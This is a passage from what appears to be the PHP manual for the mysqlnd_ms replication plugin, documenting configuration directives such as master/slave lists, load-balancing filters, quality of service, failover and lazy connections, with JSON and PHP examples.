Warning: mysqli::mysqli(): (HY000/2002): php_network_getaddresses: getaddrinfo failed: Name or service not known in Command line code on line 1

Warning: mysqli::query(): Couldn't fetch mysqli in Command line code on line 1

Fatal error: Call to a member function fetch_assoc() on a non-object in Command line code on line 1

Since version 1.5.0 startup errors are additionally buffered and emitted when a connection attempt is made. Use the configuration directive mysqlnd_ms.force_config_usage to set the error type used to display buffered errors. By default an error of type E_WARNING will be emitted.

Example #9 Improved configuration file validation since 1.5.0

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
?>

The above example will output:

Warning: mysqli::mysqli(): (mysqlnd_ms) (mysqlnd_ms) Failed to parse config file [s1.json]. Please, verify the JSON in Command line code on line 1

It can be useful to set mysqlnd_ms.force_config_usage = 1 when debugging potential configuration file errors. This will not only turn the type of buffered startup errors into E_RECOVERABLE_ERROR but also help detecting misspelled section names.

Example #10 Possibly more precise error due to mysqlnd_ms.force_config_usage=1

mysqlnd_ms.force_config_usage=1
<?php
$mysqli = new mysqli("invalid_section", "username", "password", "database");
?>

The above example will output:

Warning: mysqli::mysqli(): (mysqlnd_ms) Exclusive usage of configuration enforced but did not find the correct INI file section (invalid_section) in Command line code on line 1 line 1

Configuration Directives

Here is a short explanation of the configuration directives that can be used.

master array or object

List of MySQL replication master servers. The list of either of the JSON type array to declare an anonymous list of servers or of the JSON type object. Please, see above for examples.

Setting at least one master server is mandatory. The plugin will issue an error of type E_ERROR if the user has failed to provide a master server list for a configuration section. The fatal error may read (mysqlnd_ms) Section [master] doesn't exist for host [name_of_a_config_section] in %s on line %d.

A server is described with the host, port, socket, db, user, password and connect_flags. It is mandatory to provide at a value for host. If any of the other values is not given, it will be taken from the user API connect call, please, see also: using section names example.

Table of server configuration keywords.

Keyword Description Version
host

Database server host. This is a mandatory setting. Failing to provide, will cause an error of type E_RECOVERABLE_ERROR when the plugin tries to connect to the server. The error message may read (mysqlnd_ms) Cannot find [host] in [%s] section in config in %s on line %d.

Since 1.1.0.
port

Database server TCP/IP port.

Since 1.1.0.
socket

Database server Unix domain socket.

Since 1.1.0.
db

Database (schemata).

Since 1.1.0.
user

MySQL database user.

Since 1.1.0.
password

MySQL database user password.

Since 1.1.0.
connect_flags

Connection flags.

Since 1.1.0.

The plugin supports using only one master server. An experimental setting exists to enable multi-master support. The details are not documented. The setting is meant for development only.

slave array or object

List of one or more MySQL replication slave servers. The syntax is identical to setting master servers, please, see master above for details.

The plugin supports using one or more slave servers.

Setting a list of slave servers is mandatory. The plugin will report an error of the type E_ERROR if slave is not given for a configuration section. The fatal error message may read (mysqlnd_ms) Section [slave] doesn't exist for host [%s] in %s on line %d. Note, that it is valid to use an empty slave server list. The error has been introduced to prevent accidently setting no slaves by forgetting about the slave setting. A master-only setup is still possible using an empty slave server list.

If an empty slave list is configured and an attempt is made to execute a statement on a slave the plugin may emit a warning like mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. upon statement execution. It is possible that another warning follows such as (mysqlnd_ms) No connection selected by the last filter.

global_transaction_id_injection array or object

Global transaction identifier configuration related to both the use of the server built-in global transaction ID feature and the client-side emulation.

Keyword Description Version
fetch_last_gtid

SQL statement for accessing the latest global transaction identifier. The SQL statement is run if the plugin needs to know the most recent global transaction identifier. This can be the case, for example, when checking MySQL Replication slave status. Also used with mysqlnd_ms_get_last_gtid().

Since 1.2.0.
check_for_gtid

SQL statement for checking if a replica has replicated all transactions up to and including ones searched for. The SQL statement is run when searching for replicas which can offer a higher level of consistency than eventual consistency. The statement must contain a placeholder #GTID which is to be replaced with the global transaction identifier searched for by the plugin. Please, check the quickstart for examples.

Since 1.2.0.
report_errors

Whether to emit an error of type warning if an issue occurs while executing any of the configured SQL statements.

Since 1.2.0.
on_commit

Client-side global transaction ID emulation only. SQL statement to run when a transaction finished to update the global transaction identifier sequence number on the master. Please, see the quickstart for examples.

Since 1.2.0.
wait_for_gtid_timeout

Instructs the plugin to wait up to wait_for_gtid_timeout seconds for a slave to catch up when searching for slaves that can deliver session consistency. The setting limits the time spend for polling the slave status. If polling the status takes very long, the total clock time spend waiting may exceed wait_for_gtid_timeout. The plugin calls sleep(1) to sleep one second between each two polls.

The setting can be used both with the plugins client-side emulation and the server-side global transaction identifier feature of MySQL 5.6.

Waiting for a slave to replicate a certain GTID needed for session consistency also means throttling the client. By throttling the client the write load on the master is reduced indirectly. A primary copy based replication system, such as MySQL Replication, is given more time to reach a consistent state. This can be desired, for example, to increase the number of data copies for high availability considerations or to prevent the master from being overloaded.

Since 1.4.0.
fabric object

MySQL Fabric related settings. If the plugin is used together with MySQL Fabric, then the plugins configuration file no longer contains lists of MySQL servers. Instead, the plugin will ask MySQL Fabric which list of servers to use to perform a certain task.

A minimum plugin configuration for use with MySQL Fabric contains a list of one or more MySQL Fabric hosts that the plugin can query. If more than one MySQL Fabric host is configured, the plugin will use a roundrobin strategy to choose among them. Other strategies are currently not available.

Example #11 Minimum pluging configuration for use with MySQL Fabric

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ]
        }
    }
}

Each MySQL Fabric host is described using a JSON object with the following members.

Keyword Description Version
host

Host name of the MySQL Fabric host.

Since 1.6.0.
port

The TCP/IP port on which the MySQL Fabric host listens for remote procedure calls sent by clients such as the plugin.

Since 1.6.0.

The plugin is using PHP streams to communicate with MySQL Fabric through XML RPC over HTTP. By default no timeouts are set for the network communication. Thus, the plugin defaults to PHP stream default timeouts. Those defaults are out of control of the plugin itself.

An optional timeout value can be set to overrule the PHP streams default timeout setting. Setting the timeout in the plugins configuration file has the same effect as setting a timeout for a PHP user space HTTP connection established through PHP streams.

The plugins Fabric timeout value unit is seconds. The allowed value range is from 0 to 65535. The setting exists since version 1.6.

Example #12 Optional timeout for communication with Fabric

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ],
            "timeout": 2
        }
    }
}

Transaction stickiness and MySQL Fabric logic can collide. The stickiness option disables switching between servers for the duration of a transaction. When using Fabric and sharding the user may (erroneously) start a local transaction on one share and then attempt to switch to a different shard using either mysqlnd_ms_fabric_select_shard() or mysqlnd_ms_fabric_select_global(). In this case, the plugin will not reject the request to switch servers in the middle of a transaction but allow the user to switch to another server regardless of the transaction stickiness setting used. It is clearly a user error to write such code.

If transaction stickiness is enabled and you would like to get an error of type warning when calling mysqlnd_ms_fabric_select_shard() or mysqlnd_ms_fabric_select_global(), set the boolean flag trx_warn_server_list_changes.

Example #13 Warnings about the violation of transaction boundaries

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ],
            "trx_warn_serverlist_changes": 1
        },
        "trx_stickiness": "on"
    }
}
<?php
$link = new mysqli("myapp", "root", "", "test");
/*
  For the demo the call may fail.
  Failed or not we get into the state
  needed for the example.
*/
@mysqlnd_ms_fabric_select_global($link, 1);
$link->begin_transaction();
@$link->query("DROP TABLE IF EXISTS test");
/*
  Switching servers/shards is a mistake due to open
  local transaction!
*/
mysqlnd_ms_select_global($link, 1);
?>

The above example will output:

PHP Warning: mysqlnd_ms_fabric_select_global(): (mysqlnd_ms) Fabric server exchange in the middle of a transaction in %s on line %d

Please, consider the feature experimental. Changes to syntax and semantics may happen.

filters object

List of filters. A filter is responsible to filter the list of available servers for executing a given statement. Filters can be chained. The random and roundrobin filter replace the pick[] directive used in prior version to select a load balancing policy. The user filter replaces the mysqlnd_ms_set_user_pick_server() function.

Filters may accept parameters to refine their actions.

If no load balancing policy is set, the plugin will default to random_once. The random_once policy picks a random slave server when running the first read-only statement. The slave server will be used for all read-only statements until the PHP script execution ends. No load balancing policy is set and thus, defaulting takes place, if neither the random nor the roundrobin are part of a configuration section.

If a filter chain is configured so that a filter which output no more than once server is used as input for a filter which should be given more than one server as input, the plugin may emit a warning upon opening a connection. The warning may read: (mysqlnd_ms) Error while creating filter '%s' . Non-multi filter '%s' already created. Stopping in %s on line %d. Furthermore, an error of the error code 2000, the sql state HY000 and an error message similar to the warning may be set on the connection handle.

Example #14 Invalid filter sequence

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": [
            "roundrobin",
            "random"
        ]
    }
}
<?php
$link = new mysqli("myapp", "root", "", "test");
printf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error());
$link->query("SELECT 1 FROM DUAL");
?>

The above example will output:

PHP Warning:  mysqli::mysqli(): (HY000/2000): (mysqlnd_ms) Error while creating filter 'random' . Non-multi filter 'roundrobin' already created. Stopping in filter_warning.php on line 1
[2000] (mysqlnd_ms) Error while creating filter 'random' . Non-multi filter 'roundrobin' already created. Stopping
PHP Warning:  mysqli::query(): Couldn't fetch mysqli in filter_warning.php on line 3

Filter: random object

The random filter features the random and random once load balancing policies, set through the pick[] directive in older versions.

The random policy will pick a random server whenever a read-only statement is to be executed. The random once strategy picks a random slave server once and continues using the slave for the rest of the PHP web request. Random once is a default, if load balancing is not configured through a filter.

If the random filter is not given any arguments, it stands for random load balancing policy.

Example #15 Random load balancing with random filter

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.137",
                "port": "3306"
            }
        },
        "filters": [
            "random"
        ]
    }
}

Optionally, the sticky argument can be passed to the filter. If the parameter sticky is set to the string 1, the filter follows the random once load balancing strategy.

Example #16 Random once load balancing with random filter

{
    "filters": {
        "random": {
            "sticky": "1"
        }
    }
}

Both the random and roundrobin filters support setting a priority, a weight for a server, since PECL/mysqlnd_ms 1.4.0. If the weight argument is passed to the filter, it must assign a weight for all servers. Servers must be given an alias name in the slave respectively master server lists. The alias must be used to reference servers for assigning a priority with weight.

Example #17 Referencing error

[E_RECOVERABLE_ERROR] mysqli_real_connect(): (mysqlnd_ms) Unknown server 'slave3' in 'random' filter configuration. Stopping in %s on line %d

Using a wrong alias name with weight may result in an error similar to the shown above.

If weight is omitted, the default weight of all servers is one.

Example #18 Assigning a weight for load balancing

{
   "myapp": {
       "master": {
           "master1":{
               "host":"localhost",
               "socket":"\/var\/run\/mysql\/mysql.sock"
           }
       },
       "slave": {
           "slave1": {
               "host":"192.168.2.28",
               "port":3306
           },
           "slave2": {
               "host":"192.168.2.29",
               "port":3306
           },
           "slave3": {
               "host":"192.0.43.10",
               "port":3306
           },
       },
       "filters": {
           "random": {
               "weights": {
                   "slave1":8,
                   "slave2":4,
                   "slave3":1,
                   "master1":1
               }
           }
       }
   }
}

At the average a server assigned a weight of two will be selected twice as often as a server assigned a weight of one. Different weights can be assigned to reflect differently sized machines, to prefer co-located slaves which have a low network latency or, to configure a standby failover server. In the latter case, you may want to assign the standby server a very low weight in relation to the other servers. For example, given the configuration above slave3 will get only some eight percent of the requests in the average. As long as slave1 and slave2 are running, it will be used sparsely, similar to a standby failover server. Upon failure of slave1 and slave2, the usage of slave3 increases. Please, check the notes on failover before using weight this way.

Valid weight values range from 1 to 65535.

Unknown arguments are ignored by the filter. No warning or error is given.

The filter expects one or more servers as input. Outputs one server. A filter sequence such as random, roundrobin may cause a warning and an error message to be set on the connection handle when executing a statement.

List of filter arguments.

Keyword Description Version
sticky

Enables or disabled random once load balancing policy. See above.

Since 1.2.0.
weight

Assigns a load balancing weight/priority to a server. Please, see above for a description.

Since 1.4.0.
Filter: roundrobin object

If using the roundrobin filter, the plugin iterates over the list of configured slave servers to pick a server for statement execution. If the plugin reaches the end of the list, it wraps around to the beginning of the list and picks the first configured slave server.

Example #19 roundrobin filter

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": [
            "roundrobin"
        ]
    }
}

Expects one or more servers as input. Outputs one server. A filter sequence such as roundrobin, random may cause a warning and an error message to be set on the connection handle when executing a statement.

List of filter arguments.

Keyword Description Version
weight

Assigns a load balancing weight/priority to a server. Please, find a description above.

Since 1.4.0.
Filter: user object

The user replaces mysqlnd_ms_set_user_pick_server() function, which was removed in 1.1.0-beta. The filter sets a callback for user-defined read/write splitting and server selection.

The plugins built-in read/write query split mechanism decisions can be overwritten in two ways. The easiest way is to prepend a query string with the SQL hints MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH or MYSQLND_MS_LAST_USED_SWITCH. Using SQL hints one can control, for example, whether a query shall be send to the MySQL replication master server or one of the slave servers. By help of SQL hints it is not possible to pick a certain slave server for query execution.

Full control on server selection can be gained using a callback function. Use of a callback is recommended to expert users only because the callback has to cover all cases otherwise handled by the plugin.

The plugin will invoke the callback function for selecting a server from the lists of configured master and slave servers. The callback function inspects the query to run and picks a server for query execution by returning the hosts URI, as found in the master and slave list.

If the lazy connections are enabled and the callback chooses a slave server for which no connection has been established so far and establishing the connection to the slave fails, the plugin will return an error upon the next action on the failed connection, for example, when running a query. It is the responsibility of the application developer to handle the error. For example, the application can re-run the query to trigger a new server selection and callback invocation. If so, the callback must make sure to select a different slave, or check slave availability, before returning to the plugin to prevent an endless loop.

Example #20 Setting a callback

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "user": {
                "callback": "pick_server"
            }
        }
    }
}

The callback is supposed to return a host to run the query on. The host URI is to be taken from the master and slave connection lists passed to the callback function. If callback returns a value neither found in the master nor in the slave connection lists the plugin will emit an error of the type E_RECOVERABLE_ERROR The error may read like (mysqlnd_ms) User filter callback has returned an unknown server. The server 'server that is not in master or slave list' can neither be found in the master list nor in the slave list. If the application catches the error to ignore it, follow up errors may be set on the connection handle, for example, (mysqlnd_ms) No connection selected by the last filter with the error code 2000 and the sqlstate HY000. Furthermore a warning may be emitted.

Referencing a non-existing function as a callback will result in any error of the type E_RECOVERABLE_ERROR whenever the plugin tries to callback function. The error message may reads like: (mysqlnd_ms) Specified callback (pick_server) is not a valid callback. If the application catches the error to ignore it, follow up errors may be set on the connection handle, for example, (mysqlnd_ms) Specified callback (pick_server) is not a valid callback with the error code 2000 and the sqlstate HY000. Furthermore a warning may be emitted.

The following parameters are passed from the plugin to the callback.

Parameter Description Version
connected_host

URI of the currently connected database server.

Since 1.1.0.
query

Query string of the statement for which a server needs to be picked.

Since 1.1.0.
masters

List of master servers to choose from. Note, that the list of master servers may not be identical to the list of configured master servers if the filter is not the first in the filter chain. Previously run filters may have reduced the master list already.

Since 1.1.0.
slaves

List of slave servers to choose from. Note, that the list of master servers may not be identical to the list of configured master servers if the filter is not the first in the filter chain. Previously run filters may have reduced the master list already.

Since 1.1.0.
last_used_connection

URI of the server of the connection used to execute the previous statement on.

Since 1.1.0.
in_transaction

Boolean flag indicating whether the statement is part of an open transaction. If autocommit mode is turned off, this will be set to TRUE. Otherwise it is set to FALSE.

Transaction detection is based on monitoring the mysqlnd library call set_autocommit. Monitoring is not possible before PHP 5.4.0. Please, see connection pooling and switching concepts discussion for further details.

Since 1.1.0.

Example #21 Using a callback

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "user": {
                "callback": "pick_server"
            }
        }
    }
}
<?php
function pick_server($connected, $query, $masters, $slaves, $last_used_connection, $in_transaction)
{
 static $slave_idx = 0;
 static $num_slaves = NULL;
 if (is_null($num_slaves))
  $num_slaves = count($slaves);

 /* default: fallback to the plugins build-in logic */
 $ret = NULL;

 printf("User has connected to '%s'...\n", $connected);
 printf("... deciding where to run '%s'\n", $query);

 $where = mysqlnd_ms_query_is_select($query);
 switch ($where)
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("... using master\n");
   $ret = $masters[0];
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   /* SELECT or SQL hint for using slave */
   if (stristr($query, "FROM table_on_slave_a_only"))
   {
    /* a table which is only on the first configured slave  */
    printf("... access to table available only on slave A detected\n");
    $ret = $slaves[0];
   }
   else
   {
    /* round robin */
    printf("... some read-only query for a slave\n");
    $ret = $slaves[$slave_idx++ % $num_slaves];
   }
   break;
  case MYSQLND_MS_QUERY_LAST_USED:
   printf("... using last used server\n");
   $ret = $last_used_connection;
   break;
 }

 printf("... ret = '%s'\n", $ret);
 return $ret;
}

$mysqli = new mysqli("myapp", "root", "", "test");

if (!($res = $mysqli->query("SELECT 1 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT 2 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT * FROM table_on_slave_a_only")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

$mysqli->close();
?>

The above example will output:

User has connected to 'myapp'...
... deciding where to run 'SELECT 1 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.2.27:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT 2 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.78.136:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT * FROM table_on_slave_a_only'
... access to table available only on slave A detected
... ret = 'tcp://192.168.2.27:3306'

Filter: user_multi object

The user_multi differs from the user only in one aspect. Otherwise, their syntax is identical. The user filter must pick and return exactly one node for statement execution. A filter chain usually ends with a filter that emits only one node. The filter chain shall reduce the list of candidates for statement execution down to one. This, only one node left, is the case after the user filter has been run.

The user_multi filter is a multi filter. It returns a list of slave and a list of master servers. This list needs further filtering to identify exactly one node for statement execution. A multi filter is typically placed at the top of the filter chain. The quality_of_service filter is another example of a multi filter.

The return value of the callback set for user_multi must be an array with two elements. The first element holds a list of selected master servers. The second element contains a list of selected slave servers. The lists shall contain the keys of the slave and master servers as found in the slave and master lists passed to the callback. The below example returns random master and slave lists extracted from the functions input.

Example #22 Returning random masters and slaves

<?php
function pick_server($connected, $query, $masters, $slaves, $last_used_connection, $in_transaction)
{
  $picked_masters = array()
  foreach ($masters as $key => $value) {
    if (mt_rand(0, 2) > 1)
      $picked_masters[] = $key;
  }
  $picked_slaves = array()
  foreach ($slaves as $key => $value) {
    if (mt_rand(0, 2) > 1)
      $picked_slaves[] = $key;
  }
  return array($picked_masters, $picked_slaves);
}
?>

The plugin will issue an error of type E_RECOVERABLE if the callback fails to return a server list. The error may read (mysqlnd_ms) User multi filter callback has not returned a list of servers to use. The callback must return an array in %s on line %d. In case the server list is not empty but has invalid servers key/ids in it, an error of type E_RECOVERABLE will the thrown with an error message like (mysqlnd_ms) User multi filter callback has returned an invalid list of servers to use. Server id is negative in %s on line %d, or similar.

Whether an error is emitted in case of an empty slave or master list depends on the configuration. If an empty master list is returned for a write operation, it is likely that the plugin will emit a warning that may read (mysqlnd_ms) Couldn't find the appropriate master connection. 0 masters to choose from. Something is wrong in %s on line %d. Typically a follow up error of type E_ERROR will happen. In case of a read operation and an empty slave list the behavior depends on the fail over configuration. If fail over to master is enabled, no error should appear. If fail over to master is deactivated the plugin will emit a warning that may read (mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. Something is wrong in %s on line %d.

Filter: node_groups object

The node_groups filter lets you group cluster nodes and query selected groups, for example, to support data partitioning. Data partitioning can be required for manual sharding, primary copy based clusters running multiple masters, or to avoid hot spots in update everywhere clusters that have no built-in partitioning. The filter is a multi filter which returns zero, one or multiple of its input servers. Thus, it must be followed by other filters to reduce the number of candidates down to one for statement execution.

Keyword Description Version
user defined node group name

One or more node groups must be defined. A node group can have an arbitrary user defined name. The name is used in combination with a SQL hint to restrict query execution to the nodes listed for the node group. To run a query on any of the servers of a node group, the query must begin with the SQL hint /*user defined node group name*/. Please note, no white space is allowed around user defined node group name. Because user defined node group name is used as-is as part of a SQL hint, you should choose the name that is compliant with the SQL language.

Each node group entry must contain a list of master servers. Additional slave servers are allowed. Failing to provide a list of master for a node group name_of_group may cause an error of type E_RECOVERABLE_ERROR like (mysqlnd_ms) No masters configured in node group 'name_of_group' for 'node_groups' filter.

The list of master and slave servers must reference corresponding entries in the global master respectively slave server list. Referencing an unknown server in either of the both server lists may cause an E_RECOVERABLE_ERROR error like (mysqlnd_ms) Unknown master 'server_alias_name' (section 'name_of_group') in 'node_groups' filter configuration.

Example #23 Manual partitioning

{
  "myapp": {
       "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.28",
                "port": 3306
            },
            "slave_1": {
                "host": "127.0.0.1",
                "port": 3311
            }
        },
        "filters": {
            "node_groups": {
                "Partition_A" : {
                    "master": ["master_0"],
                    "slave": ["slave_0"]
                }
            },
           "roundrobin": []
        }
    }
}

Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

Since 1.5.0.
Filter: quality_of_service object

The quality_of_service identifies cluster nodes capable of delivering a certain quality of service. It is a multi filter which returns zero, one or multiple of its input servers. Thus, it must be followed by other filters to reduce the number of candidates down to one for statement execution.

The quality_of_service filter has been introduced in 1.2.0-alpha. In the 1.2 series the filters focus is on the consistency aspect of service quality. Different types of clusters offer different default data consistencies. For example, an asynchronous MySQL replication slave offers eventual consistency. The slave may not be able to deliver requested data because it has not replicated the write, it may serve stale database because its lagging behind or it may serve current information. Often, this is acceptable. In some cases higher consistency levels are needed for the application to work correct. In those cases, the quality_of_service can filter out cluster nodes which cannot deliver the necessary quality of service.

The quality_of_service filter can be replaced or created at runtime. A successful call to mysqlnd_ms_set_qos() removes all existing qos filter entries from the filter list and installs a new one at the very beginning. All settings that can be made through mysqlnd_ms_set_qos() can also be in the plugins configuration file. However, use of the function is by far the most common use case. Instead of setting session consistency and strong consistency service levels in the plugins configuration file it is recommended to define only masters and no slaves. Both service levels will force the use of masters only. Using an empty slave list shortens the configuration file, thus improving readability. The only service level for which there is a case of defining in the plugins configuration file is the combination of eventual consistency and maximum slave lag.

Keyword Description Version
eventual_consistency

Request eventual consistency. Allows the use of all master and slave servers. Data returned may or may not be current.

Eventual consistency accepts an optional age parameter. If age is given the plugin considers only slaves for reading for which MySQL replication reports a slave lag less or equal to age. The replication lag is measure using SHOW SLAVE STATUS. If the plugin fails to fetch the replication lag, the slave tested is skipped. Implementation details and tips are given in the quality of service concepts section.

Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

Example #24 Global limit on slave lag

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "quality_of_service": {
                "eventual_consistency": {
                    "age":123
                }
            }
        }
    }
}

 Since 1.2.0.
session_consistency

Request session consistency (read your writes). Allows use of all masters and all slaves which are in sync with the master. If no further parameters are given slaves are filtered out as there is no reliable way to test if a slave has caught up to the master or is lagging behind. Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

Session consistency temporarily requested using mysqlnd_ms_set_qos() is a valuable alternative to using master_on_write. master_on_write is likely to send more statements to the master than needed. The application may be able to continue operation at a lower consistency level after it has done some critical reads.

Since 1.1.0.
strong_consistency

Request strong consistency. Only masters will be used.

Since 1.2.0.
failover Up to and including 1.3.x: string. Since 1.4.0: object.

Failover policy. Supported policies: disabled (default), master, loop_before_master (Since 1.4.0).

If no failover policy is set, the plugin will not do any automatic failover (failover=disabled). Whenever the plugin fails to connect a server it will emit a warning and set the connections error code and message. Thereafter it is up to the application to handle the error and, for example, resent the last statement to trigger the selection of another server.

Please note, the automatic failover logic is applied when opening connections only. Once a connection has been opened no automatic attempts are made to reopen it in case of an error. If, for example, the server a connection is connected to is shut down and the user attempts to run a statement on the connection, no automatic failover will be tried. Instead, an error will be reported.

If using failover=master the plugin will implicitly failover to a master, if available. Please check the concepts documentation to learn about potential pitfalls and risks of using failover=master.

Example #25 Optional master failover when failing to connect to slave (PECL/mysqlnd_ms < 1.4.0)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "failover": "master"
    }
}

Since PECL/mysqlnd_ms 1.4.0 the failover configuration keyword refers to an object.

Example #26 New syntax since 1.4.0

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "failover": {"strategy": "master" }
    }
}

Keyword Description Version
strategy

Failover policy. Possible values: disabled (default), master, loop_before_master

A value of disabled disables automatic failover.

Setting master instructs the plugin to try to connect to a master in case of a slave connection error. If the master connection attempt fails, the plugin exists the failover loop and returns an error to the user.

If using loop_before_master and a slave request is made, the plugin tries to connect to other slaves before failing over to a master. If multiple master are given and multi master is enabled, the plugin also loops over the list of masters and attempts to connect before returning an error to the user.

Since 1.4.0.
remember_failed

Remember failures for the duration of a web request. Default: false.

If set to true the plugin will remember failed hosts and skip the hosts in all future load balancing made for the duration of the current web request.

Since 1.4.0. The feature is only available together with the random and roundrobin load balancing filter. Use of the setting is recommended.
max_retries

Maximum number of connection attempts before skipping host. Default: 0 (no limit).

The setting is used to prevent hosts from being dropped of the host list upon the first failure. If set to n > 0, the plugin will keep the node in the node list even after a failed connection attempt. The node will not be removed immediately from the slave respectively master lists after the first connection failure but instead be tried to connect to up to n times in future load balancing rounds before being removed.

Since 1.4.0. The feature is only available together with the random and roundrobin load balancing filter.

Setting failover to any other value but disabled, master or loop_before_master will not emit any warning or error.

lazy_connections bool

Controls the use of lazy connections. Lazy connections are connections which are not opened before the client sends the first connection. Lazy connections are a default.

It is strongly recommended to use lazy connections. Lazy connections help to keep the number of open connections low. If you disable lazy connections and, for example, configure one MySQL replication master server and two MySQL replication slaves, the plugin will open three connections upon the first call to a connect function although the application might use the master connection only.

Lazy connections bare a risk if you make heavy use of actions which change the state of a connection. The plugin does not dispatch all state changing actions to all connections from the connection pool. The few dispatched actions are applied to already opened connections only. Lazy connections opened in the future are not affected. Only some settings are "remembered" and applied when lazy connections are opened.

Example #27 Disabling lazy connection

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "lazy_connections": 0
    }
}

Please, see also server_charset to overcome potential problems with string escaping and servers using different default charsets.

server_charset string

The setting has been introduced in 1.4.0. It is recommended to set it if using lazy connections.

The server_charset setting serves two purposes. It acts as a fallback charset to be used for string escaping done before a connection has been established and it helps to avoid escaping pitfalls in heterogeneous environments which servers using different default charsets.

String escaping takes a connections charset into account. String escaping is not possible before a connection has been opened and the connections charset is known. The use of lazy connections delays the actual opening of connections until a statement is send.

An application using lazy connections may attempt to escape a string before sending a statement. In fact, this should be a common case as the statement string may contain the string that is to be escaped. However, due to the lazy connection feature no connection has been opened yet and escaping fails. The plugin may report an error of the type E_WARNING and a message like (mysqlnd_ms) string escaping doesn't work without established connection. Possible solution is to add server_charset to your configuration to inform you of the pitfall.

Setting server_charset makes the plugin use the given charset for string escaping done on lazy connection handles before establishing a network connection to MySQL. Furthermore, the plugin will enforce the use of the charset when the connection is established.

Enforcing the use of the configured charset used for escaping is done to prevent tapping into the pitfall of using a different charset for escaping than used later for the connection. This has the additional benefit of removing the need to align the charset configuration of all servers used. No matter what the default charset on any of the servers is, the plugin will set the configured one as a default.

The plugin does not stop the user from changing the charset at any time using the set_charset() call or corresponding SQL statements. Please, note that the use of SQL is not recommended as it cannot be monitored by the plugin. The user can, for example, change the charset on a lazy connection handle after escaping a string and before the actual connection is opened. The charset set by the user will be used for any subsequent escaping before the connection is established. The connection will be established using the configured charset, no matter what the server charset is or what the user has set before. Once a connection has been opened, set_charset is of no meaning anymore.

Example #28 String escaping on a lazy connection handle

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "lazy_connections": 1,
        "server_charset" : "utf8"
    }
}
<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
$mysqli->real_escape("this will be escaped using the server_charset setting - utf8");
$mysqli->set_charset("latin1");
$mysqli->real_escape("this will be escaped using latin1");
/* server_charset implicitly set - utf8 connection */
$mysqli->query("SELECT 'This connection will be set to server_charset upon establishing' AS _msg FROM DUAL");
/* latin1 used from now on */
$mysqli->set_charset("latin1");
?>

master_on_write bool

If set, the plugin will use the master server only after the first statement has been executed on the master. Applications can still send statements to the slaves using SQL hints to overrule the automatic decision.

The setting may help with replication lag. If an application runs an INSERT the plugin will, by default, use the master to execute all following statements, including SELECT statements. This helps to avoid problems with reads from slaves which have not replicated the INSERT yet.

Example #29 Master on write for consistent reads

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "master_on_write": 1
    }
}

Please, note the quality_of_service filter introduced in version 1.2.0-alpha. It gives finer control, for example, for achieving read-your-writes and, it offers additional functionality introducing service levels.

All transaction stickiness settings, including trx_stickiness=on, are overruled by master_on_write=1.

trx_stickiness string

